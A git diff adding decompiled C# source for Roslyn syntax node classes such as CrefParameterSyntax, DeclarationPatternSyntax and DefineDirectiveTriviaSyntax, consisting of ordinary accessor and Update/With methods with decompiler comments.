-0,0 +1,129 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CrefParameterListSyntax : BaseCrefParameterListSyntax +{ + private SyntaxNode? parameters; + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefParameterListSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).Position, 0); + + public override SeparatedSyntaxList Parameters + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref parameters, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefParameterListSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal CrefParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref parameters, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCrefParameterList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCrefParameterList(this); + } + + public CrefParameterListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken != OpenParenToken || parameters != Parameters || closeParenToken != CloseParenToken) + { + CrefParameterListSyntax crefParameterListSyntax = SyntaxFactory.CrefParameterList(openParenToken, parameters, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return crefParameterListSyntax; + } + return crefParameterListSyntax.WithAnnotations(annotations); + } + return this; + } + + public CrefParameterListSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openParenToken, Parameters, CloseParenToken); + } + + internal override BaseCrefParameterListSyntax WithParametersCore(SeparatedSyntaxList parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(parameters); + } + + public new CrefParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, parameters, CloseParenToken); + } + + public CrefParameterListSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenParenToken, Parameters, closeParenToken); + } + + internal override BaseCrefParameterListSyntax AddParametersCore(params CrefParameterSyntax[] items) + { + return AddParameters(items); + } + + public new CrefParameterListSyntax AddParameters(params CrefParameterSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(Parameters.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefParameterSyntax.cs new file mode 100644 index 0000000..4f22692 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefParameterSyntax.cs @@ -0,0 +1,135 @@ +using System.ComponentModel; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CrefParameterSyntax : CSharpSyntaxNode +{ + private TypeSyntax? type; + + [EditorBrowsable(EditorBrowsableState.Never)] + public SyntaxToken RefOrOutKeyword => RefKindKeyword; + + public SyntaxToken RefKindKeyword + { + get + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken refKindKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefParameterSyntax)(object)((SyntaxNode)this).Green).refKindKeyword; + if (refKindKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)refKindKeyword, ((SyntaxNode)this).Position, 0); + } + } + + public SyntaxToken ReadOnlyKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken readOnlyKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefParameterSyntax)(object)((SyntaxNode)this).Green).readOnlyKeyword; + if (readOnlyKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)readOnlyKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + [EditorBrowsable(EditorBrowsableState.Never)] + public CrefParameterSyntax WithRefOrOutKeyword(SyntaxToken refOrOutKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(refOrOutKeyword, Type); + } + + public CrefParameterSyntax Update(SyntaxToken refKindKeyword, TypeSyntax type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(refKindKeyword, ReadOnlyKeyword, type); + } + + internal CrefParameterSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref type, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCrefParameter(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCrefParameter(this); + } + + public CrefParameterSyntax Update(SyntaxToken refKindKeyword, SyntaxToken readOnlyKeyword, TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (refKindKeyword != RefKindKeyword || readOnlyKeyword != ReadOnlyKeyword || type != Type) + { + CrefParameterSyntax crefParameterSyntax = SyntaxFactory.CrefParameter(refKindKeyword, readOnlyKeyword, type); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return crefParameterSyntax; + } + return crefParameterSyntax.WithAnnotations(annotations); + } + return this; + } + + public CrefParameterSyntax WithRefKindKeyword(SyntaxToken refKindKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(refKindKeyword, ReadOnlyKeyword, Type); + } + + public CrefParameterSyntax WithReadOnlyKeyword(SyntaxToken readOnlyKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(RefKindKeyword, readOnlyKeyword, Type); + } + + public CrefParameterSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(RefKindKeyword, ReadOnlyKeyword, type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefSyntax.cs new file mode 100644 index 0000000..1beb6fa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CrefSyntax.cs @@ -0,0 +1,11 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class CrefSyntax : CSharpSyntaxNode +{ + internal CrefSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DeclarationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DeclarationExpressionSyntax.cs new file mode 100644 index 0000000..9eb1df9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DeclarationExpressionSyntax.cs @@ -0,0 +1,74 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DeclarationExpressionSyntax : ExpressionSyntax +{ + private TypeSyntax? type; + + private VariableDesignationSyntax? designation; + + public TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + public VariableDesignationSyntax Designation => ((SyntaxNode)this).GetRed(ref designation, 1); + + internal DeclarationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref type), + 1 => ((SyntaxNode)this).GetRed(ref designation, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => type, + 1 => designation, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDeclarationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDeclarationExpression(this); + } + + public DeclarationExpressionSyntax Update(TypeSyntax type, VariableDesignationSyntax designation) + { + if (type != Type || designation != Designation) + { + DeclarationExpressionSyntax declarationExpressionSyntax = SyntaxFactory.DeclarationExpression(type, designation); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return declarationExpressionSyntax; + } + return declarationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public DeclarationExpressionSyntax WithType(TypeSyntax type) + { + return Update(type, Designation); + } + + public DeclarationExpressionSyntax WithDesignation(VariableDesignationSyntax designation) + { + return Update(Type, designation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DeclarationPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DeclarationPatternSyntax.cs new file mode 100644 index 0000000..2625f10 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DeclarationPatternSyntax.cs @@ -0,0 +1,74 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DeclarationPatternSyntax : PatternSyntax +{ + private TypeSyntax? type; + + private VariableDesignationSyntax? designation; + + public TypeSyntax Type => ((SyntaxNode)this).GetRedAtZero(ref type); + + public VariableDesignationSyntax Designation => ((SyntaxNode)this).GetRed(ref designation, 1); + + internal DeclarationPatternSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref type), + 1 => ((SyntaxNode)this).GetRed(ref designation, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => type, + 1 => designation, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDeclarationPattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDeclarationPattern(this); + } + + public DeclarationPatternSyntax Update(TypeSyntax type, VariableDesignationSyntax designation) + { + if (type != Type || designation != Designation) + { + DeclarationPatternSyntax declarationPatternSyntax = SyntaxFactory.DeclarationPattern(type, designation); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return declarationPatternSyntax; + } + return declarationPatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public DeclarationPatternSyntax WithType(TypeSyntax type) + { + return Update(type, Designation); + } + + public DeclarationPatternSyntax WithDesignation(VariableDesignationSyntax designation) + { + return Update(Type, designation); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultConstraintSyntax.cs new file mode 100644 index 0000000..46330a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultConstraintSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DefaultConstraintSyntax : TypeParameterConstraintSyntax +{ + public SyntaxToken DefaultKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefaultConstraintSyntax)(object)((SyntaxNode)this).Green).defaultKeyword, ((SyntaxNode)this).Position, 0); + + internal DefaultConstraintSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefaultConstraint(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefaultConstraint(this); + } + + public DefaultConstraintSyntax Update(SyntaxToken defaultKeyword) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (defaultKeyword != DefaultKeyword) + { + DefaultConstraintSyntax defaultConstraintSyntax = SyntaxFactory.DefaultConstraint(defaultKeyword); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return defaultConstraintSyntax; + } + return defaultConstraintSyntax.WithAnnotations(annotations); + } + return this; + } + + public DefaultConstraintSyntax WithDefaultKeyword(SyntaxToken defaultKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(defaultKeyword); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultExpressionSyntax.cs new file mode 100644 index 0000000..ec96a51 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultExpressionSyntax.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DefaultExpressionSyntax : ExpressionSyntax +{ + private TypeSyntax? type; + + public SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefaultExpressionSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken OpenParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefaultExpressionSyntax)(object)((SyntaxNode)this).Green).openParenToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + public SyntaxToken CloseParenToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefaultExpressionSyntax)(object)((SyntaxNode)this).Green).closeParenToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal DefaultExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref type, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)type; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefaultExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefaultExpression(this); + } + + public DefaultExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || openParenToken != OpenParenToken || type != Type || closeParenToken != CloseParenToken) + { + DefaultExpressionSyntax defaultExpressionSyntax = SyntaxFactory.DefaultExpression(keyword, openParenToken, type, closeParenToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return defaultExpressionSyntax; + } + return defaultExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public DefaultExpressionSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, OpenParenToken, Type, CloseParenToken); + } + + public DefaultExpressionSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, openParenToken, Type, CloseParenToken); + } + + public DefaultExpressionSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, type, CloseParenToken); + } + + public DefaultExpressionSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, OpenParenToken, Type, closeParenToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultSwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultSwitchLabelSyntax.cs new file mode 100644 index 0000000..81e9ee0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefaultSwitchLabelSyntax.cs @@ -0,0 +1,82 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DefaultSwitchLabelSyntax : SwitchLabelSyntax +{ + public override SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefaultSwitchLabelSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public override SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefaultSwitchLabelSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal DefaultSwitchLabelSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefaultSwitchLabel(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefaultSwitchLabel(this); + } + + public DefaultSwitchLabelSyntax Update(SyntaxToken keyword, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || colonToken != ColonToken) + { + DefaultSwitchLabelSyntax defaultSwitchLabelSyntax = SyntaxFactory.DefaultSwitchLabel(keyword, colonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return defaultSwitchLabelSyntax; + } + return defaultSwitchLabelSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override SwitchLabelSyntax WithKeywordCore(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeyword(keyword); + } + + public new DefaultSwitchLabelSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, ColonToken); + } + + internal override SwitchLabelSyntax WithColonTokenCore(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithColonToken(colonToken); + } + + public new DefaultSwitchLabelSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, colonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefineDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefineDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..db89a0f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/DefineDirectiveTriviaSyntax.cs @@ -0,0 +1,125 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class DefineDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken DefineKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).defineKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken Name => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).name, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.DefineDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal DefineDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefineDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefineDirectiveTrivia(this); + } + + public DefineDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || defineKeyword != DefineKeyword || name != Name || endOfDirectiveToken != EndOfDirectiveToken) + { + DefineDirectiveTriviaSyntax defineDirectiveTriviaSyntax = SyntaxFactory.DefineDirectiveTrivia(hashToken, defineKeyword, name, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return defineDirectiveTriviaSyntax; + } + return defineDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new DefineDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: 